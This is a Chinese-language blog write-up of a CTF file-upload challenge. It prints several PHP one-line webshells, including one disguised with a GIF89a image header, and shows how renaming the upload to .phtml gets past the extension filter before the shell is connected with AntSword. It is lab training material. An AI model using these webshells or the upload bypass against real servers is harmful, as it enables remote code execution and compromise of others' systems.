[ACTF2020 新生赛]Upload 1

是小桑呢

已于 2022-08-05 10:21:32 修改

阅读量2.4k

点赞数

文章标签： php 安全

于 2022-01-11 22:58:50 首次发布

本文链接：https://blog.csdn.net/qq_50034496/article/details/122443529

版权

常见的一句话木马

<?php eval($_POST['z'])?>
<?php $_GET['a']($_POST['z'])?>
文件内容为（包含gif的文件幻术头，以及一句话木马）
GIF89a? 
<script language="php">eval($_REQUEST[1])</script>

题目主页
在这里插入图片描述首先上传php文件发现不能上传成功，再上传jpg格式的一句话，bp抓包改为php,php3,php4,php5,php7,pht,phps，发现不能成功
上传attack.php,内容如下 ,修改文件类型为phtml,文件上传成功

 <?php @eval($_POST['attack']);?>

在这里插入图片描述

先上传包含一句话木马的jpg文件

在这里插入图片描述

抓包修改后缀发现上传失败，如下图
在这里插入图片描述

尝试修改后缀为phtml,上传成功
.phtml文件的解释：一个嵌入了PHP脚本的html页面
在这里插入图片描述

通过蚁剑连接
http://7a992abb-fdb8-4d35-848c-779ffbbd742a.node4.buuoj.cn:81/uplo4d/c619245d4cef9b335fd130623d0aa8f3.phtml

在这里插入图片描述
获取flag

关注